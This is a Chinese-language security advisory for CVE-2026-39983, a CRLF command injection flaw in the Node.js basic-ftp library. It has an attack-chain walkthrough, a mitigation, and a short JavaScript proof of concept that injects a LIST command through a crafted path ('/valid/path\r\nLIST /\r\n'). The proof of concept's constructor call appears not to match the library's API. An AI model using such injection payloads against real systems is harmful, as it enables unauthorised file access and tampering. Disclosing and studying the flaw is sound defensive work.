IPBUF安全漏洞报告
English
CVE-2026-39983 CVSS 8.6 高危

CVE-2026-39983 basic-ftp FTP命令注入漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-39983
漏洞类型
命令注入
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
basic-ftp

相关标签

命令注入CRLF注入Node.jsbasic-ftpCVE-2026-39983

漏洞概述

basic-ftp 是一个用于 Node.js 的 FTP 客户端库。在 5.2.1 版本之前,该组件存在安全漏洞,允许攻击者通过文件路径参数中的 CRLF 序列(\r\n)注入恶意 FTP 命令。由于库中的 protectWhitespace() 辅助函数仅处理前导空格,且 FtpContext.send() 直接将命令字符串写入控制套接字,攻击者可利用此特性分割 FTP 命令。该漏洞在 5.2.1 版本中已修复。

技术细节

该漏洞源于 basic-ftp 库在处理用户输入的文件路径时缺乏对 CRLF 字符(\r\n)的严格过滤。虽然库提供了 protectWhitespace() 辅助函数,但它仅去除前导空格,无法检测或拦截 CRLF 序列。当攻击者控制传入高级 API(如 cd()、remove()、uploadFrom() 等)的路径参数时,可以在其中插入 \r\n。由于 FtpContext.send() 将处理后的路径直接追加到 FTP 命令末尾并发送到控制套接字,攻击者可以利用 CRLF 字符将原本单一的 FTP 命令拆分为多条命令,从而在未授权的情况下执行任意 FTP 操作,如窃取文件或执行未经授权的传输。

攻击链分析

STEP 1
攻击准备
攻击者识别出目标应用程序使用了易受攻击的 basic-ftp 库(版本 < 5.2.1),并找到接受用户输入作为文件路径参数的接口。
STEP 2
构造Payload
攻击者构造包含 CRLF 字符(\r\n)的恶意字符串,将其插入到原本合法的文件路径中,旨在拼接额外的 FTP 命令。
STEP 3
发送请求
应用程序调用 basic-ftp 的 API(如 cd() 或 remove())并将恶意字符串作为参数传递。
STEP 4
命令注入
basic-ftp 库将路径直接拼接到 FTP 命令中并发送。FTP 服务器解析收到包含 CRLF 的数据流,将其视为多条独立的命令并执行。
STEP 5
达成攻击
攻击者通过注入的命令(如 LIST、RETR、STOR)在服务器上执行未授权操作,导致信息泄露或文件被篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const FtpClient = require('basic-ftp'); // Example PoC for CVE-2026-39983 async function demonstrateCve() { const client = new FtpClient(); try { // Connect to a vulnerable FTP server instance (or mock) await client.access({ host: "127.0.0.1", user: "anonymous", password: "guest" }); // Malicious payload containing CRLF injection // This attempts to inject a LIST command after a CWD command const maliciousPath = "/valid/path\r\nLIST /\r\n"; console.log("Sending malicious path..."); // The vulnerable API constructs: CWD /valid/path\r\nLIST /\r\n // The FTP server receives: // 1. CWD /valid/path // 2. LIST / await client.cd(maliciousPath); } catch (err) { console.error("Exploit failed or connection error:", err); } finally { client.close(); } } demonstrateCve();

影响范围

basic-ftp < 5.2.1

防御指南

临时缓解措施
如果无法立即升级,应在调用 basic-ftp 库的任何 API 之前,在应用层对文件路径参数进行过滤,使用正则表达式或其他字符串处理方法移除其中的 CRLF 控制字符,防止命令注入。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表